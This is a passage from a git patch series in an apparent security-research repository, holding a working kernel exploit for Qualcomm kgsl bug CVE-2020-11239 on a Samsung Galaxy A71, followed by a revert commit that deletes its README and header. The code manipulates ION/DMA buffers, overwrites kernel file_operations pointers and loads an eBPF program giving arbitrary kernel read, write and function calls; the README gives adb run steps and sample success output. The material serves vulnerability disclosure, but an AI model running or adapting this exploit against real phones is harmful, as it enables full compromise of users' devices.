ion_alloc_fd = -1; + + struct ion_allocation_data ion_alloc_data; + ion_alloc_data.len = 1 << ORDER; + ion_alloc_data.flags = 1; + ion_alloc_data.heap_id_mask = ION_HEAP(25); + + if (ioctl(ion_fd, ION_IOC_ALLOC, &ion_alloc_data) < 0) { + err(1, "ION_IOC_ALLOC 1 failed\n"); + } + + ion_alloc_fd = ion_alloc_data.fd; + if (ion_alloc_data.len < 0x1000 * (VMAS_LEN + 2)) { + err(1, "VMAS_LEN too large\n"); + } + + size_t ion_region_size0 = compute_ion_region_size(); + + tmp_ion_regions[0] = mmap(NULL, ion_region_size0, PROT_READ | PROT_WRITE, MAP_SHARED, ion_alloc_data.fd, 0x1000); + if (tmp_ion_regions[0] == MAP_FAILED) { + err(1, "map failed tmp region 0"); + } + + *ion_region = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE, ion_alloc_data.fd, 0x2000); + if (ion_region == MAP_FAILED) { + err(1, "map failed"); + } + + for (int i = 0; i < VMAS_LEN; i++) { + tmp_ion_regions[i + 1] = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE, ion_alloc_data.fd, ion_alloc_data.len - 0x1000 * (VMAS_LEN - i)); + if (tmp_ion_regions[i + 1] == MAP_FAILED) { + err(1, "map tmp failed %d", i); + } + } + return ion_alloc_fd; +} + +int main() { + setbuf(stdout, NULL); + setbuf(stderr, NULL); + int ion_alloc_fds[3]; + + struct bounce_buffer_param p; + allocate_bounce_buffer(&p); + + uint64_t regions[MMAP_LEN]; + for (int i = 0; i < MMAP_LEN; i++) { + regions[i] = (uint64_t)mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANON, -1, 0); + if ((void*)(regions[i]) == MAP_FAILED) { + err(1, "mmap %d failed", i); + } + } + + char* ion_region; + char* tmp_ion_regions[VMAS_LEN + 1]; + + int ion_fd = open("/dev/ion", O_RDONLY); + if (ion_fd == -1) { + err(1, "cannot open ion\n"); + } + + struct ion_allocation_data ion_alloc_data2; + ion_alloc_data2.len = 0x1000 * G_REGION_LEN; + ion_alloc_data2.flags = 1; + ion_alloc_data2.heap_id_mask = ION_HEAP(19); + + if (ioctl(ion_fd, ION_IOC_ALLOC, &ion_alloc_data2) < 0) { + err(1, "ION_IOC_ALLOC 2 failed\n"); + } + + ion_alloc_fds[1] = ion_alloc_data2.fd; +#ifdef DMA_SPRAY + struct ion_allocation_data ion_alloc_data3; + ion_alloc_data3.len = 0x1000 * NENTS; + ion_alloc_data3.flags = 1; + ion_alloc_data3.heap_id_mask = ION_HEAP(25); + + if (ioctl(ion_fd, ION_IOC_ALLOC, &ion_alloc_data3) < 0) { + err(1, "ION_IOC_ALLOC failed bounce 1\n"); + } + ion_alloc_fds[2] = ion_alloc_data3.fd; +#endif + size_t ion_region_size0 = compute_ion_region_size(); + for (int i = 0; i < 5; i++) { + ion_alloc_fds[0] = init_tmp_region(ion_fd, &(tmp_ion_regions[0]), &ion_region); + do_one_rw(DMA_ADDRESS, SYS_LEN * BOUNCE_LEN, regions, ion_region, &(ion_alloc_fds[0]), 0); + sleep(1); + sync_bounce_buffers(0); + + printf("done read %d\n", i); + if (trigger_time > TRIGGER_THRESH) { +#ifdef DEBUG_MEM_DUMP + dump_memory(i); +#endif + int null_region_index = find_null_fops(); + int dma_region_index = find_dma_fops(); + int region_index = -1; + enum region_type type; + if (null_region_index != -1 && dma_region_index != -1) { + if (null_region_index < dma_region_index) { + region_index = null_region_index; + type = null; + } else { + region_index = dma_region_index; + type = dma; + } + + } else if (null_region_index != -1) { + region_index = null_region_index; + type = null; + } else if (dma_region_index != -1) { + region_index = dma_region_index; + type = dma; + } + + if (region_index != -1) { + if (region_index < 2) { + err(1, "region index calculation error\n"); + } + unsigned long* fops = (unsigned long*)(&(ion_sys_regions[1][0])); + for (int i = 0; i < 10; i++) { + fops[i] = bpf_addr; + } + sync_bounce_buffers(1); + unsigned long bpf_data_address = ion_addr + 2048; + unsigned long __bpf_call_base = bpf_addr - BPF_TO_BASE; + unsigned long* bpf_data = (unsigned long*)(&(ion_sys_regions[1][2048])); + trigger_time = 0; +//-------BPF program, from https://googleprojectzero.blogspot.com/2020/12/an-ios-hacker-tries-android.html ------------------------------------------------------- + //bpf program to run + struct bpf_insn insn[] = { + // Load base address. + /* 0 */ BPF_LD_IMM64(BPF_REG_6, bpf_data_address), + + // Load R7 = (in:data + 0); this is the operation to perform. + /* 2 */ BPF_LDX_MEM(BPF_DW, BPF_REG_7, BPF_REG_6, bpf_op_offset), + + // Check if this operation is 'r'. + /* 3 */ BPF_JMP_IMM(BPF_JNE, BPF_REG_7, 'r', +4), + // Load R1 = *(in:data + 8); this is the read address. + /* 4 */ BPF_LDX_MEM(BPF_DW, BPF_REG_1, BPF_REG_6, bpf_rw_addr_offset), + // Load R1 = *R1. + /* 5 */ BPF_LDX_MEM(BPF_DW, BPF_REG_1, BPF_REG_1, 0), + // Store *(out:data + 8) = R1. + /* 6 */ BPF_STX_MEM(BPF_DW, BPF_REG_6, BPF_REG_1, bpf_out_offset), + // Done. + /* 7 */ BPF_JMP_A(13), + + // Check if this operation is 'w'. + /* 8 */ BPF_JMP_IMM(BPF_JNE, BPF_REG_7, 'w', +4), + // Load R1 = *(in:data + 8); this is the write address. + /* 9 */ BPF_LDX_MEM(BPF_DW, BPF_REG_1, BPF_REG_6, bpf_rw_addr_offset), + // Load R2 = *(in:data + 10); this is the value to write. + /* 10 */ BPF_LDX_MEM(BPF_DW, BPF_REG_2, BPF_REG_6, bpf_arg0), + // Store *R1 = R2. + /* 11 */ BPF_STX_MEM(BPF_DW, BPF_REG_1, BPF_REG_2, 0), + // Done. + /* 12 */ BPF_JMP_A(8), + + // Check if this operation is 'x'. + /* 13 */ BPF_JMP_IMM(BPF_JNE, BPF_REG_7, 'x', +7), + // Load R1 = *(in:data + 10); this is the first argument. + /* 14 */ BPF_LDX_MEM(BPF_DW, BPF_REG_1, BPF_REG_6, bpf_arg0), + // Load R2 = *(in:data + 18); this is the second argument. + /* 15 */ BPF_LDX_MEM(BPF_DW, BPF_REG_2, BPF_REG_6, bpf_arg1), + // Load R3 = *(in:data + 20); this is the third argument. + /* 16 */ BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_6, bpf_arg2), + // Load R4 = *(in:data + 28); this is the fourth argument. + /* 17 */ BPF_LDX_MEM(BPF_DW, BPF_REG_4, BPF_REG_6, bpf_arg3), + // Load R5 = *(in:data + 30); this is the fifth argument. + /* 18 */ BPF_LDX_MEM(BPF_DW, BPF_REG_5, BPF_REG_6, bpf_arg4), + // Call R0 = function(R1, R2, R3, R4, R5). This call gets patched. + /* 19 */ BPF_EMIT_CALL(__bpf_call_base - 4), + // Store *(out:data + 8) = R0. + /* 20 */ BPF_STX_MEM(BPF_DW, BPF_REG_6, BPF_REG_0, 0x108), + // Done. Fallthrough. + + // Store *(out:data + 0) = R7, i.e., record the operation that we just executed. + /* 21 */ BPF_STX_MEM(BPF_DW, BPF_REG_6, BPF_REG_7, 0x100), + }; +//------------------------------------------------------------------------------------------------------------------ + while (1) { + ion_alloc_fds[0] = init_tmp_region(ion_fd, &(tmp_ion_regions[0]), &ion_region); + do_one_rw(DMA_ADDRESS, SYS_LEN * (region_index + 1), regions, ion_region, &(ion_alloc_fds[0]), 1); + printf("running bpf program\n"); + + unsigned long bpf_insn_addr = ion_addr + 1024; + memcpy(&(ion_sys_regions[1][1024]), insn, sizeof(insn)); + bpf_data[128] = 12345; + //set up read + bpf_data[bpf_op_offset/8] = 'r'; + bpf_data[bpf_rw_addr_offset/8] = bpf_data_address + 1024; + switch(type) { + case null: + for (int i = 0; i < SLAB_LEN; i++) { + lseek64(p.null_fds[i], bpf_insn_addr, 0); + } + break; + case dma: + for (int i = 0; i < REGIONS_LEN_1; i++) { + lseek64(ion_sys_fds[i], bpf_insn_addr, 0); + } + for (int i = 0; i < REGIONS_LEN_2; i++) { + lseek64(ion_sys_fds2[i], bpf_insn_addr, 0); + } + break; + default: + break; + } + printf("bpf_data 0x%lx\n", bpf_data[bpf_out_offset/8]); + if (bpf_data[bpf_out_offset/8] == 12345) { + printf("[+] successful read\n"); + break; + } + } + break; + } + } + munmap(tmp_ion_regions[0], ion_region_size0); + munmap(ion_region, 0x1000); + for (int i = 0; i < VMAS_LEN; i++) { + munmap(tmp_ion_regions[i + 1], 0x1000); + } + sleep(5); + } + + for (int i = 0; i < 3; i++) { + close(ion_alloc_fds[i]); + } + + close(ion_fd); + + for (int i = 0; i < BOUNCE_LEN; i++) { + munmap(bounce_regions[i], SYS_LEN); + } +} From 6ace0a239f7e25f95c71cff43833e9ad40d997d8 Mon Sep 17 00:00:00 2001 From: Xavier RENE-CORAIL Date: Mon, 8 Mar 2021 09:55:55 -0800 Subject: [PATCH 021/140] Revert "Blog material" --- .../Android/Qualcomm/CVE-2020-11239/README.md | 62 - .../Qualcomm/CVE-2020-11239/kgsl_exploit.h | 546 --------- .../CVE-2020-11239/kgsl_exploit_slab_a71.c | 1047 ----------------- 3 files changed, 1655 deletions(-) delete mode 100644 SecurityExploits/Android/Qualcomm/CVE-2020-11239/README.md delete mode 100644 SecurityExploits/Android/Qualcomm/CVE-2020-11239/kgsl_exploit.h delete mode 100644 SecurityExploits/Android/Qualcomm/CVE-2020-11239/kgsl_exploit_slab_a71.c diff --git a/SecurityExploits/Android/Qualcomm/CVE-2020-11239/README.md b/SecurityExploits/Android/Qualcomm/CVE-2020-11239/README.md deleted file mode 100644 index 17efd5d..0000000 --- a/SecurityExploits/Android/Qualcomm/CVE-2020-11239/README.md +++ /dev/null @@ -1,62 +0,0 @@ -## Exploit for Qualcomm CVE-2020-11239 - -The write up can be found [here](https://securitylab.github.com/research/one_day_short_of_a_fullchain_android). This is a bug in the Qualcomm kgsl driver I reported in July 2020. The GitHub Advisory can be found [here](https://securitylab.github.com/advisories/GHSL-2020-375-kgsl). The bug can be used to gain arbitrary kernel code execution, read and write from the untrusted app domain. - -The exploit is tested on Samsung Galaxy A71 with firmware version A715FXXUATJ2, Baseband A715FXXU3ATI5 and Kernel version 4.14.117-19828683. The offsets in the exploit refers to that version of the firmware. For different models of phones, the macro `DMA_ADDRESS`, which indicates the address of the SWIOTLB buffer, will also need to be changed. - -The exploit is reasonably reliable, although it does need to wait a few minutes after start up, after the kernel activities settled down before running. - -The most likely cause of failure is when it failed to locate the file structs after 5 retries. In this case there is no adverse effect and the phone will not crash. However, running the exploit immediately is unlikely to succeed and it usually requires waiting for a bit or doing something else to reorganize the heap before running it again. - -To test, cross compile the file `kgsl_exploit_slab_a71.c` and then execute with `adb`: - -``` -adb push kgsl_exploit_slab_a71 /data/local/tmp -adb shell -a71:/ $ /data/local/tmp/kgsl_exploit_slab_a71 -``` - -If succeeded, it will run a eBPF program to write and read to an address and confirm the successful read and write: - -``` -rpc opened -[+] reallocation data initialized! -[ ] initializing reallocation threads, please wait... -[+] 8 reallocation threads ready! -micros_used: 19432 -[+] REALLOC THREAD finished -[+] REALLOC THREAD finished -[+] REALLOC THREAD finished -[+] REALLOC THREAD finished -[+] REALLOC THREAD finished -[+] REALLOC THREAD finished -[+] REALLOC THREAD finished -[+] REALLOC THREAD finished -[+] Read/Write operation succeeded -[+] syncing bounce buffers -done read 0 -[+] Found null_fops at 2 region offset 32 ffffff80099d9788 -null file addr: ffffffc12a993058 -[+] ion region location: ffffffc12a992000 -[+] bpf addr: ffffff8008317088 -overwrite fops ffffff80099d9788 -overwrite fops 0 -[-] Failed to find dma_buf_fops -[+] syncing bounce buffers -[+] reallocation data initialized! -[ ] initializing reallocation threads, please wait... -[+] 8 reallocation threads ready! -micros_used: 19938 -[+] REALLOC THREAD finished -[+] REALLOC THREAD finished -[+] REALLOC THREAD finished -[+] REALLOC THREAD finished -[+] REALLOC THREAD finished -[+] REALLOC THREAD finished -[+] REALLOC THREAD finished -[+] REALLOC THREAD finished -[+] Read/Write operation succeeded -running bpf program -bpf_data 0x3039 -[+] successful read -``` diff --git a/SecurityExploits/Android/Qualcomm/CVE-2020-11239/kgsl_exploit.h b/SecurityExploits/Android/Qualcomm/CVE-2020-11239/kgsl_exploit.h deleted file mode 100644 index dc1022e..0000000 --- a/SecurityExploits/Android/Qualcomm/CVE-2020-11239/kgsl_exploit.h +++ /dev/null @@ -1,546 +0,0 @@ -#ifndef KGSL_EXPLOIT_H -#define KGSL_EXPLOIT_H - -#include - -//---------------------------ION------------------------------------------------------------------- - -enum ion_heap_ids { - INVALID_HEAP_ID = -1, - ION_CP_MM_HEAP_ID = 8, - ION_SECURE_HEAP_ID = 9, - ION_SECURE_DISPLAY_HEAP_ID = 10, - ION_CP_MFC_HEAP_ID = 12, - ION_SPSS_HEAP_ID = 13, /* Secure Processor ION heap */ - ION_SECURE_CARVEOUT_HEAP_ID = 14, - ION_CP_WB_HEAP_ID = 16, /* 8660 only */ - ION_QSECOM_TA_HEAP_ID = 19, - ION_CAMERA_HEAP_ID = 20, /* 8660 only */ - ION_SYSTEM_CONTIG_HEAP_ID = 21, - ION_ADSP_HEAP_ID = 22, - ION_PIL1_HEAP_ID = 23, /* Currently used for other PIL images */ - ION_SF_HEAP_ID = 24, - ION_SYSTEM_HEAP_ID = 25, - ION_PIL2_HEAP_ID = 26, /* Currently used for modem firmware images */ - ION_QSECOM_HEAP_ID = 27, - ION_AUDIO_HEAP_ID = 28, - - ION_MM_FIRMWARE_HEAP_ID = 29, - ION_GOOGLE_HEAP_ID = 30, - - ION_HEAP_ID_RESERVED = 31 /** Bit reserved for ION_FLAG_SECURE flag */ -}; - -enum ion_heap_type { - ION_HEAP_TYPE_SYSTEM, - ION_HEAP_TYPE_SYSTEM_CONTIG, - ION_HEAP_TYPE_CARVEOUT, - ION_HEAP_TYPE_CHUNK, - ION_HEAP_TYPE_DMA, - ION_HEAP_TYPE_CUSTOM, /* - * must be last so device specific heaps always - * are at the end of this enum - */ - ION_NUM_HEAPS = 16, -}; - -#define ION_HEAP_SYSTEM_MASK ((1 << ION_HEAP_TYPE_SYSTEM)) -#define ION_HEAP_SYSTEM_CONTIG_MASK ((1 << ION_HEAP_TYPE_SYSTEM_CONTIG)) -#define ION_HEAP_CARVEOUT_MASK ((1 << ION_HEAP_TYPE_CARVEOUT)) -#define ION_HEAP_TYPE_DMA_MASK ((1 << ION_HEAP_TYPE_DMA)) - -#define ION_NUM_HEAP_IDS (sizeof(unsigned int) * 8) -#define ION_FLAG_CACHED 1 -#define ION_FLAG_CACHED_NEEDS_SYNC 2 -struct ion_allocation_data { - size_t len; - unsigned int heap_id_mask; - unsigned int flags; - uint32_t fd; - uint32_t unused; -}; - -struct ion_custom_data { - unsigned int cmd; - unsigned long arg; -}; - -#define VM_MAYWRITE 0x00000020 - -/* ioctls */ -#define KGSL_IOC_TYPE 0x09 - -#define IOCTL_KGSL_GPUOBJ_IMPORT \ - _IOWR(KGSL_IOC_TYPE, 0x48, struct kgsl_gpuobj_import) - -#define ION_IOC_MAGIC 'I' - -#define ION_IOC_ALLOC _IOWR(ION_IOC_MAGIC, 0, \ - struct ion_allocation_data) - -#define ION_IOC_FREE _IOWR(ION_IOC_MAGIC, 1, struct ion_handle_data) - -#define ION_IOC_MAP _IOWR(ION_IOC_MAGIC, 2, struct ion_fd_data) - -#define ION_IOC_SHARE _IOWR(ION_IOC_MAGIC, 4, struct ion_fd_data) - -#define ION_IOC_IMPORT _IOWR(ION_IOC_MAGIC, 5, struct ion_fd_data) - -#define ION_IOC_SYNC _IOWR(ION_IOC_MAGIC, 7, struct ion_fd_data) - -#define ION_IOC_CUSTOM _IOWR(ION_IOC_MAGIC, 6, struct ion_custom_data) - -#define ION_BIT(nr) (1UL << (nr)) - -#define ION_HEAP(bit) ION_BIT(bit) - -//---------------------------------KGSL------------------------------------------------------------ - -#define KGSL_MEMFLAGS_USE_CPU_MAP 0x10000000ULL - -enum kgsl_user_mem_type { - KGSL_USER_MEM_TYPE_PMEM = 0x00000000, - KGSL_USER_MEM_TYPE_ASHMEM = 0x00000001, - KGSL_USER_MEM_TYPE_ADDR = 0x00000002, - KGSL_USER_MEM_TYPE_ION = 0x00000003, - /* - * ION type is retained for backwards compatibility but Ion buffers are - * dma-bufs so try to use that naming if we can - */ - KGSL_USER_MEM_TYPE_DMABUF = 0x00000003, - KGSL_USER_MEM_TYPE_MAX = 0x00000007, -}; - -struct kgsl_gpuobj_import { - uint64_t __user priv; - uint64_t priv_len; - uint64_t flags; - unsigned int type; - unsigned int id; -}; - -struct kgsl_gpuobj_import_dma_buf { - int fd; -}; - -struct kgsl_gpuobj_import_useraddr { - uint64_t virtaddr; -}; - -struct kgsl_gpuobj_free { - uint64_t flags; - uint64_t __user priv; - unsigned int id; - unsigned int type; - unsigned int len; -}; - -#define KGSL_GPUOBJ_FREE_ON_EVENT 1 - -#define KGSL_GPU_EVENT_TIMESTAMP 1 -#define KGSL_GPU_EVENT_FENCE 2 - -struct kgsl_gpu_event_timestamp { - unsigned int context_id; - unsigned int timestamp; -}; - -struct kgsl_gpu_event_fence { - int fd; -}; - -struct kgsl_gpumem_free_id { - unsigned int id; -/* private: reserved for future use*/ - unsigned int __pad; -}; - -#define IOCTL_KGSL_GPUMEM_FREE_ID _IOWR(KGSL_IOC_TYPE, 0x35, struct kgsl_gpumem_free_id) - -#define IOCTL_KGSL_GPUOBJ_FREE \ - _IOW(KGSL_IOC_TYPE, 0x46, struct kgsl_gpuobj_free) - -struct dma_buf_sync { - __u64 flags; -}; - -#define DMA_BUF_SYNC_READ (1 << 0) -#define DMA_BUF_SYNC_WRITE (2 << 0) -#define DMA_BUF_SYNC_RW (DMA_BUF_SYNC_READ | DMA_BUF_SYNC_WRITE) -#define DMA_BUF_SYNC_START (0 << 2) -#define DMA_BUF_SYNC_END (1 << 2) -#define DMA_BUF_SYNC_USER_MAPPED (1 << 3) - -#define DMA_BUF_SYNC_VALID_FLAGS_MASK \ - (DMA_BUF_SYNC_RW | DMA_BUF_SYNC_END) - -#define DMA_BUF_BASE 'b' -#define DMA_BUF_IOCTL_SYNC _IOW(DMA_BUF_BASE, 0, struct dma_buf_sync) - -#define KGSL_MEMFLAGS_FORCE_32BIT 0x100000000ULL - -//-----------------------ADSPRPC---------------------------------------------------- - -/* Retrives number of input buffers from the scalars parameter */ -#define REMOTE_SCALARS_INBUFS(sc) (((sc) >> 16) & 0x0ff) - -/* Retrives number of output buffers from the scalars parameter */ -#define REMOTE_SCALARS_OUTBUFS(sc) (((sc) >> 8) & 0x0ff) - -/* Retrives number of input handles from the scalars parameter */ -#define REMOTE_SCALARS_INHANDLES(sc) (((sc) >> 4) & 0x0f) - -/* Retrives number of output handles from the scalars parameter */ -#define REMOTE_SCALARS_OUTHANDLES(sc) ((sc) & 0x0f) - -#define REMOTE_SCALARS_LENGTH(sc) (REMOTE_SCALARS_INBUFS(sc) +\ - REMOTE_SCALARS_OUTBUFS(sc) +\ - REMOTE_SCALARS_INHANDLES(sc) +\ - REMOTE_SCALARS_OUTHANDLES(sc)) - -#define REMOTE_SCALARS_MAKEX(attr, method, in, out, oin, oout) \ - ((((uint32_t) (attr) & 0x7) << 29) | \ - (((uint32_t) (method) & 0x1f) << 24) | \ - (((uint32_t) (in) & 0xff) << 16) | \ - (((uint32_t) (out) & 0xff) << 8) | \ - (((uint32_t) (oin) & 0x0f) << 4) | \ - ((uint32_t) (oout) & 0x0f)) - -#define REMOTE_SCALARS_MAKE(method, in, out) \ - REMOTE_SCALARS_MAKEX(0, method, in, out, 0, 0) - - -#ifndef VERIFY_PRINT_ERROR -#define VERIFY_EPRINTF(format, args) (void)0 -#endif - -#ifndef VERIFY_PRINT_INFO -#define VERIFY_IPRINTF(args) (void)0 -#endif - -#ifndef VERIFY -#define __STR__(x) #x ":" -#define __TOSTR__(x) __STR__(x) -#define __FILE_LINE__ __FILE__ ":" __TOSTR__(__LINE__) - -#define VERIFY(err, val) \ -do {\ - VERIFY_IPRINTF(__FILE_LINE__"info: calling: " #val "\n");\ - if ((val) == 0) {\ - (err) = (err) == 0 ? -1 : (err);\ - VERIFY_EPRINTF(__FILE_LINE__"error: %d: " #val "\n", (err));\ - } else {\ - VERIFY_IPRINTF(__FILE_LINE__"info: passed: " #val "\n");\ - } \ -} while (0) -#endif - -#define remote_arg64_t union remote_arg64 - -struct remote_buf64 { - uint64_t pv; - uint64_t len; -}; - -struct remote_dma_handle64 { - int fd; - uint32_t offset; - uint32_t len; -}; - -union remote_arg64 { - struct remote_buf64 buf; - struct remote_dma_handle64 dma; - uint32_t h; -}; - -#define remote_arg_t union remote_arg - -struct remote_buf { - void *pv; /* buffer pointer */ - size_t len; /* length of buffer */ -}; - -struct remote_dma_handle { - int fd; - uint32_t offset; -}; - -union remote_arg { - struct remote_buf buf; /* buffer info */ - struct remote_dma_handle dma; - uint32_t h; /* remote handle */ -}; - -struct fastrpc_ioctl_invoke { - uint32_t handle; /* remote handle */ - uint32_t sc; /* scalars describing the data */ - remote_arg_t *pra; /* remote arguments list */ -}; - -struct fastrpc_ioctl_invoke_fd { - struct fastrpc_ioctl_invoke inv; - int *fds; /* fd list */ -}; - -struct fastrpc_ioctl_invoke_attrs { - struct fastrpc_ioctl_invoke inv; - int *fds; /* fd list */ - unsigned int *attrs; /* attribute list */ -}; - -struct fastrpc_ioctl_invoke_crc { - struct fastrpc_ioctl_invoke inv; - int *fds; /* fd list */ - unsigned int *attrs; /* attribute list */ - unsigned int *crc; -}; - -struct fastrpc_ioctl_init { - uint32_t flags; /* one of FASTRPC_INIT_* macros */ - uintptr_t file; /* pointer to elf file */ - uint32_t filelen; /* elf file length */ - int32_t filefd; /* ION fd for the file */ - uintptr_t mem; /* mem for the PD */ - uint32_t memlen; /* mem length */ - int32_t memfd; /* ION fd for the mem */ -}; - -struct fastrpc_ioctl_init_attrs { - struct fastrpc_ioctl_init init; - int attrs; - unsigned int siglen; -}; - -struct fastrpc_ioctl_munmap { - uintptr_t vaddrout; /* address to unmap */ - size_t size; /* size */ -}; - -struct fastrpc_ioctl_munmap_64 { - uint64_t vaddrout; /* address to unmap */ - size_t size; /* size */ -}; - -struct fastrpc_ioctl_mmap { - int fd; /* ion fd */ - uint32_t flags; /* flags for dsp to map with */ - uintptr_t vaddrin; /* optional virtual address */ - size_t size; /* size */ - uintptr_t vaddrout; /* dsps virtual address */ -}; - -struct fastrpc_ioctl_mmap_64 { - int fd; /* ion fd */ - uint32_t flags; /* flags for dsp to map with */ - uint64_t vaddrin; /* optional virtual address */ - size_t size; /* size */ - uint64_t vaddrout; /* dsps virtual address */ -}; - -struct fastrpc_ioctl_munmap_fd { - int fd; /* fd */ - uint32_t flags; /* control flags */ - uintptr_t va; /* va */ - ssize_t len; /* length */ -}; - -struct fastrpc_ioctl_perf { /* kernel performance data */ - uintptr_t data; - uint32_t numkeys; - uintptr_t keys; -}; - - -#define FASTRPC_IOCTL_INVOKE _IOWR('R', 1, struct fastrpc_ioctl_invoke) -#define FASTRPC_IOCTL_MMAP _IOWR('R', 2, struct fastrpc_ioctl_mmap) -#define FASTRPC_IOCTL_MUNMAP _IOWR('R', 3, struct fastrpc_ioctl_munmap) -#define FASTRPC_IOCTL_MMAP_64 _IOWR('R', 14, struct fastrpc_ioctl_mmap_64) -#define FASTRPC_IOCTL_MUNMAP_64 _IOWR('R', 15, struct fastrpc_ioctl_munmap_64) -#define FASTRPC_IOCTL_INVOKE_FD _IOWR('R', 4, struct fastrpc_ioctl_invoke_fd) -#define FASTRPC_IOCTL_SETMODE _IOWR('R', 5, uint32_t) -#define FASTRPC_IOCTL_INIT _IOWR('R', 6, struct fastrpc_ioctl_init) -#define FASTRPC_IOCTL_INVOKE_ATTRS \ - _IOWR('R', 7, struct fastrpc_ioctl_invoke_attrs) -#define FASTRPC_IOCTL_GETINFO _IOWR('R', 8, uint32_t) -#define FASTRPC_IOCTL_GETPERF _IOWR('R', 9, struct fastrpc_ioctl_perf) -#define FASTRPC_IOCTL_INIT_ATTRS _IOWR('R', 10, struct fastrpc_ioctl_init_attrs) -#define FASTRPC_IOCTL_INVOKE_CRC _IOWR('R', 11, struct fastrpc_ioctl_invoke_crc) -#define FASTRPC_IOCTL_CONTROL _IOWR('R', 12, struct fastrpc_ioctl_control) -#define FASTRPC_IOCTL_MUNMAP_FD _IOWR('R', 13, struct fastrpc_ioctl_munmap_fd) - -#define FASTRPC_CONTROL_LATENCY (1) -struct fastrpc_ctrl_latency { - uint32_t enable; /* latency control enable */ - uint32_t level; /* level of control */ -}; - -#define FASTRPC_CONTROL_KALLOC (3) -struct fastrpc_ctrl_kalloc { - uint32_t kalloc_support; /* Remote memory allocation from kernel */ -}; - -struct fastrpc_ioctl_control { - uint32_t req; - union { - struct fastrpc_ctrl_latency lp; - struct fastrpc_ctrl_kalloc kalloc; - }; -}; - -#define FASTRPC_INIT_CREATE 1 - - -struct scatterlist { - unsigned long page_link; - unsigned int offset; - unsigned int length; - uint64_t dma_address; - unsigned int dma_length; -}; - -enum region_type { - binder, - dma, - null -}; - -//---------------BPF--------------------------------------------------------- - -#define BPF_ALU64_REG(OP, DST, SRC) \ - ((struct bpf_insn) { \ - .code = BPF_ALU64 | BPF_OP(OP) | BPF_X, \ - .dst_reg = DST, \ - .src_reg = SRC, \ - .off = 0, \ - .imm = 0 }) - -#define BPF_ALU64_IMM(OP, DST, IMM) \ - ((struct bpf_insn) { \ - .code = BPF_ALU64 | BPF_OP(OP) | BPF_K, \ - .dst_reg = DST, \ - .src_reg = 0, \ - .off = 0, \ - .imm = IMM }) - -#define BPF_MOV64_REG(DST, SRC) \ - ((struct bpf_insn) { \ - .code = BPF_ALU64 | BPF_MOV | BPF_X, \ - .dst_reg = DST, \ - .src_reg = SRC, \ - .off = 0, \ - .imm = 0 }) - -#define BPF_MOV64_IMM(DST, IMM) \ - ((struct bpf_insn) { \ - .code = BPF_ALU64 | BPF_MOV | BPF_K, \ - .dst_reg = DST, \ - .src_reg = 0, \ - .off = 0, \ - .imm = IMM }) - -#define BPF_LD_IMM64(DST, IMM) \ - BPF_LD_IMM64_RAW(DST, 0, IMM) - -#define BPF_LD_IMM64_RAW(DST, SRC, IMM) \ - ((struct bpf_insn) { \ - .code = BPF_LD | BPF_DW | BPF_IMM, \ - .dst_reg = DST, \ - .src_reg = SRC, \ - .off = 0, \ - .imm = (__u32) (IMM) }), \ - ((struct bpf_insn) { \ - .code = 0, /* zero is reserved opcode */ \ - .dst_reg = 0, \ - .src_reg = 0, \ - .off = 0, \ - .imm = ((__u64) (IMM)) >> 32 }) - -#define BPF_MOV64_RAW(TYPE, DST, SRC, IMM) \ - ((struct bpf_insn) { \ - .code = BPF_ALU64 | BPF_MOV | BPF_SRC(TYPE), \ - .dst_reg = DST, \ - .src_reg = SRC, \ - .off = 0, \ - .imm = IMM }) - -#define BPF_LDX_MEM(SIZE, DST, SRC, OFF) \ - ((struct bpf_insn) { \ - .code = BPF_LDX | BPF_SIZE(SIZE) | BPF_MEM, \ - .dst_reg = DST, \ - .src_reg = SRC, \ - .off = OFF, \ - .imm = 0 }) - -#define BPF_STX_MEM(SIZE, DST, SRC, OFF) \ - ((struct bpf_insn) { \ - .code = BPF_STX | BPF_SIZE(SIZE) | BPF_MEM, \ - .dst_reg = DST, \ - .src_reg = SRC, \ - .off = OFF, \ - .imm = 0 }) - -#define BPF_STX_XADD(SIZE, DST, SRC, OFF) \ - ((struct bpf_insn) { \ - .code = BPF_STX | BPF_SIZE(SIZE) | BPF_XADD, \ - .dst_reg = DST, \ - .src_reg = SRC, \ - .off = OFF, \ - .imm = 0 }) - -#define BPF_ST_MEM(SIZE, DST, OFF, IMM) \ - ((struct bpf_insn) { \ - .code = BPF_ST | BPF_SIZE(SIZE) | BPF_MEM, \ - .dst_reg = DST, \ - .src_reg = 0, \ - .off = OFF, \ - .imm = IMM }) - -#define BPF_JMP_REG(OP, DST, SRC, OFF) \ - ((struct bpf_insn) { \ - .code = BPF_JMP | BPF_OP(OP) | BPF_X, \ - .dst_reg = DST, \ - .src_reg = SRC, \ - .off = OFF, \ - .imm = 0 }) - -#define BPF_JMP_IMM(OP, DST, IMM, OFF) \ - ((struct bpf_insn) { \ - .code = BPF_JMP | BPF_OP(OP) | BPF_K, \ - .dst_reg = DST, \ - .src_reg = 0, \ - .off = OFF, \ - .imm = IMM }) - -#define BPF_JMP_A(OFF) \ - ((struct bpf_insn) { \ - .code = BPF_JMP | BPF_JA, \ - .dst_reg = 0, \ - .src_reg = 0, \ - .off = OFF, \ - .imm = 0 }) - -// This check has been added to ensure that function calls are always within the allowed range. -#define BPF_EMIT_CALL__IMM(FUNC) ({ \ - uintptr_t __offset = (FUNC) - __bpf_call_base; \ - (__s32) __offset; \ - }) - -#define BPF_EMIT_CALL(FUNC) \ - ((struct bpf_insn) { \ - .code = BPF_JMP | BPF_CALL, \ - .dst_reg = 0, \ - .src_reg = 0, \ - .off = 0, \ - .imm = BPF_EMIT_CALL__IMM(FUNC)/*((FUNC) - __bpf_call_base)*/ }) - -#define BPF_EXIT_INSN() \ - ((struct bpf_insn) { \ - .code = BPF_JMP | BPF_EXIT, \ - .dst_reg = 0, \ - .src_reg = 0, \ - .off = 0, \ - .imm = 0 }) - - -#endif diff --git a/SecurityExploits/Android/Qualcomm/CVE-2020-11239/kgsl_exploit_slab_a71.c b/SecurityExploits/Android/Qualcomm/CVE-2020-11239/kgsl_exploit_slab_a71.c deleted file mode 100644 index 036f2c2..0000000 --- a/SecurityExploits/Android/Qualcomm/CVE-2020-11239/kgsl_exploit_slab_a71.c +++ /dev/null @@ -1,1047 +0,0 @@ -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include 